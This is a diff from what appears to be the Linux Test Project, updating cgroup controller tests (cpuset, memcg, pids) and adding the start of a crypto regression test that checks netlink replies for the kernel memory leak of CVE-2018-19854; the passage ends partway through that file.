diff --git a/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh b/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
index 4a104a3..dccfd91 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
@@ -34,7 +34,7 @@
 		tst_brkm TCONF "Test must be run with kernel 3.18.0 or newer"
 	fi
 
-	local cpu_num=$(getconf _NPROCESSORS_ONLN)
+	local cpu_num=$(tst_getconf _NPROCESSORS_ONLN)
 	if [ $cpu_num -lt 2 ]; then
 		tst_brkm TCONF "We need 2 cpus at least to have test"
 	fi
@@ -86,7 +86,7 @@
 		rmdir ${root_cpuset_dir}/testdir
 	fi
 
-	if [ -n ${cpu_exclusive_value} -a ${cpu_exclusive_value} -ne 1 ]; then
+	if [ "$cpu_exclusive_value" != 1 ]; then
 		# Need to flush, or may be output:
 		# "write error: Device or resource busy"
 		sync
diff --git a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c
index e2bc39b..16a01aa 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c
@@ -39,19 +39,14 @@
 #include <sys/shm.h>
 #include <sys/syscall.h>
 #include <inttypes.h>
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
-#if HAVE_NUMAIF_H
-#include <numaif.h>
-#endif
 
 #include "test.h"
 
 char *TCID = "cpuset_syscall_test";
 int TST_TOTAL = 1;
 
-#if defined(HAVE_NUMA_V2) && defined(HAVE_LINUX_MEMPOLICY_H)
+#ifdef HAVE_NUMA_V2
+#include <numaif.h>
 
 #include "../cpuset_lib/cpuset.h"
 #include "../cpuset_lib/bitmask.h"
@@ -184,13 +179,8 @@
 		ret = 1;
 		return;
 	}
-#if HAVE_DECL_MPOL_F_MEMS_ALLOWED
 	ret = get_mempolicy(NULL, bitmask_mask(nmask), bitmask_nbits(nmask), 0,
 			    MPOL_F_MEMS_ALLOWED);
-#else
-	tst_resm(TCONF, "don't have MPOL_F_MEMS_ALLOWED");
-	ret = TCONF;
-#endif
 
 	bitmask_displaylist(str, 256, nmask);
 	puts(str);
@@ -242,6 +232,6 @@
 #else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "test requires libnuma >= 2 and it's development packages");
+	tst_brkm(TCONF, NULL, NUMA_ERROR_MSG);
 }
 #endif
diff --git a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_testset.sh b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_testset.sh
index 94b8824..c4e6064 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_testset.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_testset.sh
@@ -57,14 +57,14 @@
 		tst_resm TFAIL "mkdir -p $TEST_CPUSET fail."
 		return 1
 	fi
-	echo "$1" > "$TEST_CPUSET/cpus"
+	echo "$1" > "$TEST_CPUSET/cpuset.cpus"
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "set $TEST_CPUSET/cpus as $1 fail."
+		tst_resm TFAIL "set $TEST_CPUSET/cupset.cpus as $1 fail."
 		return 1
 	fi
-	echo "$2" > "$TEST_CPUSET/mems"
+	echo "$2" > "$TEST_CPUSET/cpuset.mems"
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "set $TEST_CPUSET/mems as $2 fail."
+		tst_resm TFAIL "set $TEST_CPUSET/cpuset.mems as $2 fail."
 		return 1
 	fi
 	cpuset_syscall_test $3 >"$TEST_OUTPUT" &
diff --git a/testcases/kernel/controllers/freezer/vfork.c b/testcases/kernel/controllers/freezer/vfork.c
index eeec89d..124a783 100644
--- a/testcases/kernel/controllers/freezer/vfork.c
+++ b/testcases/kernel/controllers/freezer/vfork.c
@@ -88,7 +88,7 @@
 
 }
 
-void child_cleanup()
+void child_cleanup(void)
 {
 	close(psync[0]);
 	tst_exit();
@@ -129,7 +129,7 @@
 	} while (1);
 }
 
-void usage()
+void usage(void)
 {
 	tst_resm(TBROK, "usage: %s [-f [FILE]] [-s [NUM]] [-p] [NUM]\n\n"
 		 "\t-f FILE\t\tFile to output trace data to.\n"
diff --git a/testcases/kernel/controllers/libcontrollers/libcontrollers.h b/testcases/kernel/controllers/libcontrollers/libcontrollers.h
index 8f90220..cdde9f9 100644
--- a/testcases/kernel/controllers/libcontrollers/libcontrollers.h
+++ b/testcases/kernel/controllers/libcontrollers/libcontrollers.h
@@ -42,8 +42,6 @@
 #include <sys/types.h>
 #include <unistd.h>
 
-#include <limits_ltp.h>
-
 #ifdef PATH_MAX
 char fullpath[PATH_MAX];
 #else
diff --git a/testcases/kernel/controllers/memcg/control/mem_process.c b/testcases/kernel/controllers/memcg/control/mem_process.c
index 9007c2c..b577ce0 100644
--- a/testcases/kernel/controllers/memcg/control/mem_process.c
+++ b/testcases/kernel/controllers/memcg/control/mem_process.c
@@ -61,7 +61,7 @@
 				errx(2, "invalid -m usage");
 			break;
 		default:
-			errx(2, "invalid option specifed");
+			errx(2, "invalid option specified");
 		}
 	}
 
@@ -81,7 +81,7 @@
 		p[i] = 0xef;
 }
 
-void mem_map()
+void mem_map(void)
 {
 	static char *p;
 
@@ -101,7 +101,7 @@
 /*
  * done: retrieve instructions from the named pipe
  */
-char action()
+char action(void)
 {
 	char ch;
 	int fd;
diff --git a/testcases/kernel/controllers/memcg/control/memcg_control_test.sh b/testcases/kernel/controllers/memcg/control/memcg_control_test.sh
index 1d15872..4d9f1bb 100644
--- a/testcases/kernel/controllers/memcg/control/memcg_control_test.sh
+++ b/testcases/kernel/controllers/memcg/control/memcg_control_test.sh
@@ -41,7 +41,7 @@
 export TMP=${TMP:-/tmp}
 cd $TMP
 
-PAGE_SIZE=$(getconf PAGESIZE)
+PAGE_SIZE=$(tst_getconf PAGESIZE)
 
 TOT_MEM_LIMIT=$PAGE_SIZE
 ACTIVE_MEM_LIMIT=$PAGE_SIZE
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
index 6a6af85..aadaae4 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
@@ -29,11 +29,17 @@
 	tst_brkm TCONF "Kernel does not support the memory resource controller"
 fi
 
-PAGESIZE=$(getconf PAGESIZE)
+PAGESIZE=$(tst_getconf PAGESIZE)
 if [ $? -ne 0 ]; then
-	tst_brkm TBROK "getconf PAGESIZE failed"
+	tst_brkm TBROK "tst_getconf PAGESIZE failed"
 fi
 
+# Check for dependencies
+tst_test_cmds killall
+
+# Post 4.16 kernel updates stat in batch (> 32 pages) every time
+PAGESIZES=$(( $PAGESIZE * 33 ))
+
 HUGEPAGESIZE=$(awk '/Hugepagesize/ {print $2}' /proc/meminfo)
 [ -z $HUGEPAGESIZE ] && HUGEPAGESIZE=0
 HUGEPAGESIZE=$(( $HUGEPAGESIZE * 1024 ))
@@ -77,6 +83,8 @@
 
 shmmax_setup()
 {
+	tst_test_cmds bc
+
 	shmmax=`cat /proc/sys/kernel/shmmax`
 	if [ $(echo "$shmmax < $HUGEPAGESIZE" |bc) -eq 1 ]; then
 		ROD echo "$HUGEPAGESIZE" \> /proc/sys/kernel/shmmax
@@ -404,18 +412,18 @@
 	echo $1 > memory.limit_in_bytes
 	echo $2 > subgroup/memory.limit_in_bytes
 
-	tst_resm TINFO "Running memcg_process --mmap-anon -s $PAGESIZE"
-	memcg_process --mmap-anon -s $PAGESIZE &
+	tst_resm TINFO "Running memcg_process --mmap-anon -s $PAGESIZES"
+	memcg_process --mmap-anon -s $PAGESIZES &
 	TST_CHECKPOINT_WAIT 0
 
-	warmup $! $PAGESIZE
+	warmup $! $PAGESIZES
 	if [ $? -ne 0 ]; then
 		return
 	fi
 
 	echo $! > tasks
-	signal_memcg_process $! $PAGESIZE
-	check_mem_stat "rss" $PAGESIZE
+	signal_memcg_process $! $PAGESIZES
+	check_mem_stat "rss" $PAGESIZES
 
 	cd subgroup
 	echo $! > tasks
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
index 6cdc7ed..18c0864 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
@@ -34,28 +34,28 @@
 # Test disable moving charges
 testcase_1()
 {
-	test_move_charge "--mmap-anon" $PAGESIZE $PAGESIZE 0 0 0 $PAGESIZE 0
+	test_move_charge "--mmap-anon" $PAGESIZES $PAGESIZES 0 0 0 $PAGESIZES 0
 }
 
 # Test move anon
 testcase_2()
 {
-	test_move_charge "--mmap-anon --shm --mmap-file" $PAGESIZE \
-		$((PAGESIZE*3)) 1 $PAGESIZE 0 0 $((PAGESIZE*2))
+	test_move_charge "--mmap-anon --shm --mmap-file" $PAGESIZES \
+		$((PAGESIZES*3)) 1 $PAGESIZES 0 0 $((PAGESIZES*2))
 }
 
 # Test move file
 testcase_3()
 {
-	test_move_charge "--mmap-anon --shm --mmap-file" $PAGESIZE \
-		$((PAGESIZE*3)) 2 0 $((PAGESIZE*2)) $PAGESIZE 0
+	test_move_charge "--mmap-anon --shm --mmap-file" $PAGESIZES \
+		$((PAGESIZES*3)) 2 0 $((PAGESIZES*2)) $PAGESIZES 0
 }
 
 # Test move anon and file
 testcase_4()
 {
-	test_move_charge "--mmap-anon --shm" $PAGESIZE \
-		$((PAGESIZE*2)) 3 $PAGESIZE $PAGESIZE 0 0
+	test_move_charge "--mmap-anon --shm" $PAGESIZES \
+		$((PAGESIZES*2)) 3 $PAGESIZES $PAGESIZES 0 0
 }
 
 run_tests
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh b/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
index a41e157..f6090ed 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
@@ -33,7 +33,7 @@
 # Test the management and counting of memory
 testcase_1()
 {
-	test_mem_stat "--mmap-anon" $PAGESIZE $PAGESIZE "rss" $PAGESIZE false
+	test_mem_stat "--mmap-anon" $PAGESIZES $PAGESIZES "rss" $PAGESIZES false
 }
 
 testcase_2()
@@ -49,17 +49,17 @@
 testcase_4()
 {
 	test_mem_stat "--mmap-anon --mmap-file --shm" \
-		$PAGESIZE $((PAGESIZE*3)) "rss" $PAGESIZE false
+		$PAGESIZES $((PAGESIZES*3)) "rss" $PAGESIZES false
 }
 
 testcase_5()
 {
-	test_mem_stat "--mmap-lock1" $PAGESIZE $PAGESIZE "rss" $PAGESIZE false
+	test_mem_stat "--mmap-lock1" $PAGESIZES $PAGESIZES "rss" $PAGESIZES false
 }
 
 testcase_6()
 {
-	test_mem_stat "--mmap-anon" $PAGESIZE $PAGESIZE "rss" $PAGESIZE true
+	test_mem_stat "--mmap-anon" $PAGESIZES $PAGESIZES "rss" $PAGESIZES true
 }
 
 testcase_7()
@@ -75,12 +75,12 @@
 testcase_9()
 {
 	test_mem_stat "--mmap-anon --mmap-file --shm" \
-		$PAGESIZE $((PAGESIZE*3)) "rss" $PAGESIZE true
+		$PAGESIZES $((PAGESIZES*3)) "rss" $PAGESIZES true
 }
 
 testcase_10()
 {
-	test_mem_stat "--mmap-lock1" $PAGESIZE $PAGESIZE "rss" $PAGESIZE true
+	test_mem_stat "--mmap-lock1" $PAGESIZES $PAGESIZES "rss" $PAGESIZES true
 }
 
 shmmax_setup
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
index 3bfc1da..09ee8bd 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
@@ -34,14 +34,14 @@
 # Test cache
 testcase_1()
 {
-	test_mem_stat "--shm -k 3" $PAGESIZE $PAGESIZE "cache" $PAGESIZE false
+	test_mem_stat "--shm -k 3" $PAGESIZES $PAGESIZES "cache" $PAGESIZES false
 }
 
 # Test mapped_file
 testcase_2()
 {
-	test_mem_stat "--mmap-file" $PAGESIZE $PAGESIZE \
-		"mapped_file" $PAGESIZE false
+	test_mem_stat "--mmap-file" $PAGESIZES $PAGESIZES \
+		"mapped_file" $PAGESIZES false
 }
 
 # Test unevictable with MAP_LOCKED
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh b/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
index 6b97407..9b11f7b 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
@@ -33,17 +33,17 @@
 # Test that group and subgroup have no relationship
 testcase_1()
 {
-	test_subgroup $PAGESIZE $((2*PAGESIZE))
+	test_subgroup $PAGESIZES $((2*PAGESIZES))
 }
 
 testcase_2()
 {
-	test_subgroup $PAGESIZE $PAGESIZE
+	test_subgroup $PAGESIZES $PAGESIZES
 }
 
 testcase_3()
 {
-	test_subgroup $PAGESIZE 0
+	test_subgroup $PAGESIZES 0
 }
 
 run_tests
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh b/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
index 27539f9..c91a406 100755
--- a/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
+++ b/testcases/kernel/controllers/memcg/regression/memcg_regression_test.sh
@@ -226,7 +226,7 @@
 
 	mount -t cgroup -o memory xxx memcg/
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "failed to mount memory subsytem"
+		tst_resm TFAIL "failed to mount memory subsystem"
 		failed=1
 		continue
 	fi
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_3.c b/testcases/kernel/controllers/memcg/regression/memcg_test_3.c
index 3b25f84..9df4389 100644
--- a/testcases/kernel/controllers/memcg/regression/memcg_test_3.c
+++ b/testcases/kernel/controllers/memcg/regression/memcg_test_3.c
@@ -1,6 +1,6 @@
 /*
- * Copyright (c) 2017 Fujitsu Ltd.
- *  Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
+ * Copyright (c) 2017 FUJITSU LIMITED. All rights reserved.
+ * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  *
  * This program is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -18,24 +18,9 @@
 
 /*
  * This is a regression test for a crash caused by memcg function
- * reentrant on RHEL6.  When doing rmdir(), a pending signal can
+ * reentrant on buggy kernel.  When doing rmdir(), a pending signal can
  * interrupt the execution and lead to cgroup_clear_css_refs()
  * being entered repeatedly, this results in a BUG_ON().
- *
- * This bug was introduced by following RHEL6 patch on 2.6.32-488.el6:
- *
- *  [mm] memcg: fix race condition between memcg teardown and swapin
- *  Link: https://bugzilla.redhat.com/show_bug.cgi?id=1001197
- *  Patch: ftp://partners.redhat.com/1c5d859a/de6aafa8185ed8fd934f2debc72b79eb/kernel-individual-patch/rhel6/v2.6.32-to-kernel-2.6.32-488.el6.tar.bz2
- *         31675-mm-memcg-fix-race-condition-between-memcg-teardown-.patch
- *
- * This test can crash the buggy kernel on RHEL6.6GA, and the bug
- * was fixed by following patch on 2.6.32-536.el6:
- *
- *  [mm] memcg: fix crash in re-entrant cgroup_clear_css_refs()
- *  Link: https://bugzilla.redhat.com/show_bug.cgi?id=1168185
- *  Patch: ftp://partners.redhat.com/1c5d859a/de6aafa8185ed8fd934f2debc72b79eb/kernel-individual-patch/rhel6/v2.6.32-to-kernel-2.6.32-536.el6.tar.bz2
- *         35944-mm-memcg-fix-crash-in-re-entrant-cgroup_clear_css_r.patch
  */
 
 #include <errno.h>
diff --git a/testcases/kernel/controllers/memcg/stress/memcg_process_stress.c b/testcases/kernel/controllers/memcg/stress/memcg_process_stress.c
index 92627fe..870575c 100644
--- a/testcases/kernel/controllers/memcg/stress/memcg_process_stress.c
+++ b/testcases/kernel/controllers/memcg/stress/memcg_process_stress.c
@@ -37,7 +37,7 @@
 char **pages;
 int nr_page;
 
-void touch_memory()
+void touch_memory(void)
 {
 	int i;
 
diff --git a/testcases/kernel/controllers/memctl/memctl_test01.c b/testcases/kernel/controllers/memctl/memctl_test01.c
index 7b6d100..0ff3a64 100644
--- a/testcases/kernel/controllers/memctl/memctl_test01.c
+++ b/testcases/kernel/controllers/memctl/memctl_test01.c
@@ -63,7 +63,7 @@
 void signal_handler_sigusr2(int signal);
 int allocate_memory(void);
 
-int main(int argc, char *argv[])
+int main(void)
 {
 	int ret;
 	char mygroup[FILENAME_MAX], mytaskfile[FILENAME_MAX];
@@ -87,18 +87,18 @@
 		sprintf(mygroup, "%s", mygroup_p);
 	} else {
 		tst_brkm(TBROK, cleanup,
-			 "invalid parameters recieved from script\n");
+			 "invalid parameters received from script\n");
 	}
 
 	/* XXX (garrcoop): this section really needs error handling. */
 
-	/* Signal handling for SIGUSR1 recieved from script */
+	/* Signal handling for SIGUSR1 received from script */
 	sigemptyset(&newaction1.sa_mask);
 	newaction1.sa_handler = signal_handler_sigusr1;
 	newaction1.sa_flags = 0;
 	sigaction(SIGUSR1, &newaction1, &oldaction1);
 
-	/* Signal handling for SIGUSR2 recieved from script */
+	/* Signal handling for SIGUSR2 received from script */
 	sigemptyset(&newaction2.sa_mask);
 	newaction2.sa_handler = signal_handler_sigusr2;
 	newaction2.sa_flags = 0;
@@ -120,7 +120,7 @@
  * Function: cleanup()
  * signals for system cleanup in case test breaks
  */
-void cleanup()
+void cleanup(void)
 {
 	if (kill(scriptpid, SIGUSR1) == -1)
 		tst_resm(TWARN | TERRNO, "kill failed");
@@ -134,6 +134,7 @@
 void signal_handler_sigusr1(int signal)
 {
 	int i;
+	(void) signal;
 	for (i = 0; i < num_of_chunks; ++i)
 		free(array_of_chunks[i]);
 	free(array_of_chunks);
@@ -148,6 +149,7 @@
 void signal_handler_sigusr2(int signal)
 {
 	int i;
+	(void) signal;
 	for (i = 0; i < num_of_chunks; ++i)
 		free(array_of_chunks[i]);
 	free(array_of_chunks);
@@ -159,7 +161,7 @@
 	allocate_memory();
 }
 
-int allocate_memory()
+int allocate_memory(void)
 {
 	int i, j;
 	/*
diff --git a/testcases/kernel/controllers/pids/pids.sh b/testcases/kernel/controllers/pids/pids.sh
index e2385a1..fab33c4 100755
--- a/testcases/kernel/controllers/pids/pids.sh
+++ b/testcases/kernel/controllers/pids/pids.sh
@@ -29,14 +29,16 @@
 TST_CLEANUP=cleanup
 TST_SETUP=setup
 TST_TESTFUNC=do_test
-TST_POS_ARGS=2
+TST_POS_ARGS=3
 TST_USAGE=usage
 TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="killall"
 
 . tst_test.sh
 
 caseno=$1
 max=$2
+subcgroup_num=$3
 mounted=1
 
 usage()
@@ -44,9 +46,11 @@
 	cat << EOF
 usage: $0 caseno max_processes
 
-caseno        - testcase number from interval 1-5
+caseno        - testcase number from interval 1-9
 max_processes - maximal number of processes to attach
-                (applicable to testcase 1-4)
+                (not applicable to testcase 5)
+subcgroup_num - number of subgroups created in group
+		(only applicable to testcase 7)
 OPTIONS
 EOF
 }
@@ -78,7 +82,7 @@
 		mount_point=/dev/cgroup
 	fi
 
-	testpath=$mount_point/ltp_$TCID
+	testpath=$mount_point/ltp_pids_$caseno
 
 	if [ "$mounted" -eq "0" ]; then
 		ROD mkdir -p $mount_point
@@ -89,20 +93,34 @@
 
 start_pids_tasks2()
 {
-	nb=$1
+	start_pids_tasks2_path $testpath $1
+}
+
+start_pids_tasks2_path()
+{
+	path=$1
+	nb=$2
 	for i in `seq 1 $nb`; do
 		pids_task2 &
-		echo $! > $testpath/tasks
+		echo $! > $path/tasks
 	done
 
-	if [ $(cat "$testpath/tasks" | wc -l) -ne $nb ]; then
+	if [ $(cat "$path/tasks" | wc -l) -ne $nb ]; then
 		tst_brk TBROK "failed to attach process"
 	fi
 }
 
 stop_pids_tasks()
 {
-	for i in `cat $testpath/tasks`; do
+	stop_pids_tasks_path $testpath
+}
+
+stop_pids_tasks_path()
+{
+	local i
+	path=$1
+
+	for i in `cat $path/tasks`; do
 		ROD kill -9 $i
 		wait $i
 	done
@@ -196,6 +214,164 @@
 	fi
 }
 
+case6()
+{
+	tst_res TINFO "set a limit that is smaller than current number of pids"
+	start_pids_tasks2 $max
+
+	lim=$((max - 1))
+	ROD echo $lim \> $testpath/pids.max
+
+	pids_task1 "$testpath/tasks"
+	ret=$?
+
+	if [ "$ret" -eq "2" ]; then
+		tst_res TPASS "fork failed as expected"
+	elif [ "$ret" -eq "0" ]; then
+		tst_res TFAIL "fork didn't fail despite the limit"
+	else
+		tst_res TBROK "pids_task1 failed"
+	fi
+
+	stop_pids_tasks
+}
+
+case7()
+{
+	tst_res TINFO "the number of all child cgroup tasks larger than its parent limit"
+
+	lim=$((max / subcgroup_num))
+	if [ "$((lim * subcgroup_num))" -ne "$max" ]; then
+		tst_res TWARN "input max value must be a multiplier of $subcgroup_num"
+		return
+	fi
+
+	ROD echo $max \> $testpath/pids.max
+
+	for i in `seq 1 $subcgroup_num`; do
+		mkdir $testpath/child$i
+		start_pids_tasks2_path $testpath/child$i $lim
+	done
+
+	pids_task1 "$testpath/tasks"
+	ret=$?
+
+	if [ "$ret" -eq "2" ]; then
+		tst_res TPASS "parent cgroup fork failed as expected"
+	elif [ "$ret" -eq "0" ]; then
+		tst_res TFAIL "parent cgroup fork didn't fail despite the limit"
+	else
+		tst_res TBROK "parent cgroup pids_task1 failed"
+	fi
+
+	for i in `seq 1 $subcgroup_num`; do
+		pids_task1 "$testpath/child$i/tasks"
+		ret=$?
+
+		if [ "$ret" -eq "2" ]; then
+			tst_res TPASS "child$i cgroup fork failed as expected"
+		elif [ "$ret" -eq "0" ]; then
+			tst_res TFAIL "child$i cgroup fork didn't fail despite the limit"
+		else
+			tst_res TBROK "child$i cgroup pids_task1 failed"
+		fi
+	done
+
+	for i in `seq 1 $subcgroup_num`; do
+		stop_pids_tasks_path $testpath/child$i
+		rmdir $testpath/child$i
+	done
+
+	stop_pids_tasks
+}
+
+case8()
+{
+	tst_res TINFO "set child cgroup limit smaller than its parent limit"
+	ROD echo $max \> $testpath/pids.max
+	mkdir $testpath/child
+
+	lim=$((max - 1))
+	ROD echo $lim \> $testpath/child/pids.max
+	tmp=$((max - 2))
+	start_pids_tasks2_path $testpath/child $tmp
+
+	pids_task1 "$testpath/child/tasks"
+	ret=$?
+
+	if [ "$ret" -eq "2" ]; then
+		tst_res TPASS "fork failed as expected"
+	elif [ "$ret" -eq "0" ]; then
+		tst_res TFAIL "fork didn't fail despite the limit"
+	else
+		tst_res TBROK "pids_task1 failed"
+	fi
+
+	stop_pids_tasks_path $testpath/child
+	rmdir $testpath/child
+}
+
+case9()
+{
+	tst_res TINFO "migrate cgroup"
+	lim=$((max - 1))
+
+	for i in 1 2; do
+		mkdir $testpath/child$i
+		ROD echo $max \> $testpath/child$i/pids.max
+		start_pids_tasks2_path $testpath/child$i $lim
+	done
+
+	pid=`head -n 1 $testpath/child1/tasks`;
+	ROD echo $pid \> $testpath/child2/tasks
+
+	if grep -q "$pid" "$testpath/child2/tasks"; then
+		tst_res TPASS "migrate pid $pid from cgroup1 to cgroup2 as expected"
+	else
+		tst_res TPASS "migrate pid $pid from cgroup1 to cgroup2 failed"
+	fi
+
+	if [ $(cat "$testpath/child1/pids.current") -eq $((lim - 1)) ]; then
+		tst_res TPASS "migrate child1 cgroup as expected"
+	else
+		tst_res TFAIL "migrate child1 cgroup failed"
+	fi
+
+	if [ $(cat "$testpath/child2/pids.current") -eq $((lim + 1)) ]; then
+		tst_res TPASS "migrate child2 cgroup as expected"
+	else
+		tst_res TFAIL "migrate child2 cgroup failed"
+	fi
+
+	pids_task1 "$testpath/child1/tasks"
+	ret=$?
+
+	if [ "$ret" -eq "2" ]; then
+		tst_res TFAIL "child1 fork failed unexpectedly"
+	elif [ "$ret" -eq "0" ]; then
+		tst_res TPASS "child1 fork worked as expected"
+	else
+		tst_res TBROK "child1 pids_task1 failed"
+	fi
+
+	pids_task1 "$testpath/child2/tasks"
+	ret=$?
+
+	if [ "$ret" -eq "2" ]; then
+		tst_res TPASS "child2 fork failed as expected"
+	elif [ "$ret" -eq "0" ]; then
+		tst_res TFAIL "child2 fork didn't fail despite the limit"
+	else
+		tst_res TBROK "child2 pids_task1 failed"
+	fi
+
+	for i in 1 2; do
+		stop_pids_tasks_path $testpath/child$i
+		rmdir $testpath/child$i
+	done
+	stop_pids_tasks
+}
+
 do_test()
 {
 	tst_res TINFO "Running testcase $caseno with $max processes"
diff --git a/testcases/kernel/controllers/pids/pids_task1.c b/testcases/kernel/controllers/pids/pids_task1.c
index 7feae1e..a7e5d92 100644
--- a/testcases/kernel/controllers/pids/pids_task1.c
+++ b/testcases/kernel/controllers/pids/pids_task1.c
@@ -56,5 +56,7 @@
 		perror("fork() failed");
 		return 1;
 	}
+	if (newpid == 0)
+		pause();
 	return 0;
 }
diff --git a/testcases/kernel/crypto/.gitignore b/testcases/kernel/crypto/.gitignore
new file mode 100644
index 0000000..759592f
--- /dev/null
+++ b/testcases/kernel/crypto/.gitignore
@@ -0,0 +1,2 @@
+pcrypt_aead01
+crypto_user01
diff --git a/testcases/kernel/crypto/Makefile b/testcases/kernel/crypto/Makefile
new file mode 100644
index 0000000..76f9308
--- /dev/null
+++ b/testcases/kernel/crypto/Makefile
@@ -0,0 +1,22 @@
+# Copyright (c) 2017 Linux Test Project
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CFLAGS			+= -D_GNU_SOURCE
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/crypto/crypto_user01.c b/testcases/kernel/crypto/crypto_user01.c
new file mode 100644
index 0000000..163d7a2
--- /dev/null
+++ b/testcases/kernel/crypto/crypto_user01.c
@@ -0,0 +1,195 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright 2018 Google LLC
+ */
+
+/*
+ * Regression test for commit f43f39958beb ("crypto: user - fix leaking
+ * uninitialized memory to userspace"), or CVE-2018-19854; it was also a
+ * re-introduction of CVE-2013-2547.  This bug caused uninitialized kernel stack
+ * memory to be leaked in some string fields in the replies to CRYPTO_MSG_GETALG
+ * messages over NETLINK_CRYPTO.  To try to detect the bug, this test dumps all
+ * algorithms using NLM_F_DUMP mode and checks all string fields for unexpected
+ * nonzero bytes.
+ */
+
+#include <stdlib.h>
+
+#include "tst_test.h"
+#include "tst_crypto.h"
+#include "tst_netlink.h"
+
+/*
+ * include after <sys/socket.h> (via tst_test.h), to work around dependency bug
+ * in old kernel headers (https://www.spinics.net/lists/netdev/msg171764.html)
+ */
+#include <linux/rtnetlink.h>
+
+static struct tst_crypto_session ses = TST_CRYPTO_SESSION_INIT;
+
+static void setup(void)
+{
+	tst_crypto_open(&ses);
+}
+
+static void do_check_for_leaks(const char *name, const char *value, size_t vlen)
+{
+	size_t i;
+
+	for (i = strnlen(value, vlen); i < vlen; i++) {
+		if (value[i] != '\0')
+			tst_brk(TFAIL, "information leak in field '%s'", name);
+	}
+}
+
+#define check_for_leaks(name, field)  \
+	do_check_for_leaks(name, field, sizeof(field))
+
+static void validate_attr(const struct rtattr *rta)
+{
+	switch (rta->rta_type) {
+	case CRYPTOCFGA_REPORT_LARVAL: {
+		const struct crypto_report_larval *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_larval::type", p->type);
+		break;
+	}
+	case CRYPTOCFGA_REPORT_HASH: {
+		const struct crypto_report_hash *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_hash::type", p->type);
+		break;
+	}
+	case CRYPTOCFGA_REPORT_BLKCIPHER: {
+		const struct crypto_report_blkcipher *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_blkcipher::type", p->type);
+		check_for_leaks("crypto_report_blkcipher::geniv", p->geniv);
+		break;
+	}
+	case CRYPTOCFGA_REPORT_AEAD: {
+		const struct crypto_report_aead *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_aead::type", p->type);
+		check_for_leaks("crypto_report_aead::geniv", p->geniv);
+		break;
+	}
+	case CRYPTOCFGA_REPORT_COMPRESS: {
+		const struct crypto_report_comp *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_comp::type", p->type);
+		break;
+	}
+	case CRYPTOCFGA_REPORT_RNG: {
+		const struct crypto_report_rng *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_rng::type", p->type);
+		break;
+	}
+	case CRYPTOCFGA_REPORT_CIPHER: {
+		const struct crypto_report_cipher *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_cipher::type", p->type);
+		break;
+	}
+	case CRYPTOCFGA_REPORT_AKCIPHER: {
